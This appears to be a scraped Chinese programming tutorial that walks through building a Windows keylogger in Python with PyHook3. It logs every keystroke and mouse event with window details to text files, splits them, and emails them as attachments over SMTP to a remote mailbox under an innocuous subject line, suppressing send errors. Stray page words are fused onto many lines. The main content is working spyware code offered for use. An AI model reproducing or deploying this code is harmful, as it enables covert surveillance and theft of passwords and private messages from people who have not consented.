環境:win10,Python3.6html
工具:JetBrains PyCharm 2018.1.4python
import os
import smtplib #發送郵件
import time
import threading
import email複製代碼
下面這三個庫主要用來監聽:
git
import PyHook3
import pythoncom
from past.builtins import xrange複製代碼
若環境沒有自帶以上第三方庫,能夠參照以下圖示方法導入,或者自行谷歌bash
使用PyHook三、pythoncom庫監聽鍵盤、鼠標事件服務器
# 建立監聽對象
manager = PyHook3.HookManager()
# 監聽全部鍵盤事件
manager.KeyDown = on_keyboard_event
# 設置鍵盤監聽
manager.HookKeyboard()
# 循環監聽, 若不手動關閉, 程序將一直處於監聽狀態
pythoncom.PumpMessages()複製代碼
on_keyboard_event是用來打印監聽信息的函數app
def on_keyboard_event(event):
""" 監聽鍵盤事件 :param event: :return: 同鼠標監聽事件的返回值 """
print('================== start listening keyboard ====================')
print('MessageName: ', event.MessageName)
print('Message: ', event.Message)
print('Time: ', event.Time)
print('Window: ', event.Window)
print('Ascii: ', event.Ascii, chr(event.Ascii))
print('Key: ', event.Key)
print('KeyID: ', event.KeyID)
print('ScanCode: ', event.ScanCode)
print('Extended: ', event.Extended)
print('Injected: ', event.Injected)
print('Alt: ', event.Alt)
print('Transition: ', event.Transition)
print('================== start listening keyboard ====================')
return True複製代碼
返回「True」,用於持續監聽,監聽鼠標的實現與監聽鍵盤相似。函數
將打印在控制檯的監聽鍵盤信息寫入到當前目錄的txt文件中工具
def on_keyboard_event(event):
""" 將監聽的鍵盤信息寫入文件 :param event: :return: """
with open('./keyboard.txt', 'a+') as f:
f.write(
'事件: ' + event.MessageName + ', 時間: ' + format_time() + ', 窗口信息: '
+ str(event.Window) + ', 鍵值: ' + event.Key + ', 鍵ID: ' + str(event.KeyID) + '\r\n')
return True複製代碼
按照文件內容分割,而不是按照文件大小。由於按照文件大小分割時,部分相連的內容將會被分割到兩個文件中。post
def split_file(self):
""" 按照內容行數分割 :return: """
with open(self.fileName + '.txt', 'r') as f:
global index
while 1:
index += 1
try:
with open(self.fileName + '_%d.txt' % index, 'w') as temp:
for _ in xrange(self.Size):
temp.write(f.__next__())
except StopIteration:
break
def timer_split_file(self):
""" 超過指定行數則分割 :return: """
with open(self.fileName + '.txt', 'r') as f:
lines = f.readlines()
if lines.__len__() > self.Size:
self.split_file()複製代碼
利用郵箱相互發送郵件的方式發送監聽信息,因此必須開啓發送者郵箱的POP3/SMTP服務。監聽信息文件以附件的形式發送。若開啓了POP3/SMTP服務,而接受者沒有看到郵件,可能郵件在接受者郵箱的垃圾箱中。ui
@staticmethod
def send_email():
host = 'smtp.163.com' # 設置郵件服務器
user = 'svip*****@163.com' # 發送者
password = 'smt*****1' # 客戶端受權密碼
sender = 'svip******@163.com' # 匿名發送
receiver = ['1341****1@qq.com'] # 接收郵件
# 構造郵件對象
msg = MIMEMultipart('alternative')
msg['From'] = sender
msg['To'] = ";".join(receiver)
msg['Subject'] = Header('Have a nice day,How are you?', 'utf-8')
msg['Message-id'] = make_msgid()
msg['Date'] = formatdate()
message = MIMEText('this is today content', 'plain', 'utf-8')
msg.attach(message)
# 構造附件對象,發送鼠標監聽信息
if index != 0:
for num in range(1, index + 1):
mouse_file_name = './mouse_' + str(num) + '.txt'
mouse_file = open(mouse_file_name, 'rb').read()
mouse_send = MIMEText(mouse_file, 'base64', 'utf-8')
mouse_send['Content-Type'] = 'application/octet-stream'
mouse_send['Content-Disposition'] = 'attachment;filename=' + mouse_file_name
msg.attach(mouse_send)
# 發送鍵盤監聽信息
key_file = open('./keyboard.txt', 'rb').read()
key_send = MIMEText(key_file, 'base64', 'utf-8')
key_send['Content-Type'] = 'application/octet-stream'
key_send['Content-Disposition'] = 'attachment;filename=keyboard.txt'
msg.attach(key_send)
# 發送郵件
try:
mail = smtplib.SMTP_SSL(host, 465)
mail.login(user, password)
mail.sendmail(sender, receiver, msg.as_string())
mail.quit()
except smtplib.SMTPException:
# 異常信息不捕獲
pass複製代碼
Warning 01:
This inspection detects any methods which may safely be made static.
Solution 01:
在方法上面加: @staticmethod
Error 02:
TypeError: main() missing 1 required positional argument: 'self'
Solution 02:
先實例化類, 再使用類
e.g.
listening = Listening()
listening.main()
Error 03:
TypeError: 'float' object is not callable
Solution 03:
變量名與方法名衝突,或者與關鍵字衝突
Error 04:
email.errors.MultipartConversionError:Cannot attach additional subparts to non-multipart/*
Solution 04:
沒有建立帶附件的實例
e.g.
msg = MIMEMultipart('mixed')
Error 05:
使用smtp.qq.com發送郵件時:Connection unexpectedly closed
Solution 05:
發送者郵箱沒有開啓POP3/SMTP服務
e.g.
Error 06:
smtplib.SMTPHeloError: (500, b'Error: bad syntax')
Solution 06:
‘DHCP HOST’ 帶有空格, 解決辦法, 參照: https://bookfere.com/post/564.html
八. 全代碼
轉載請註明出處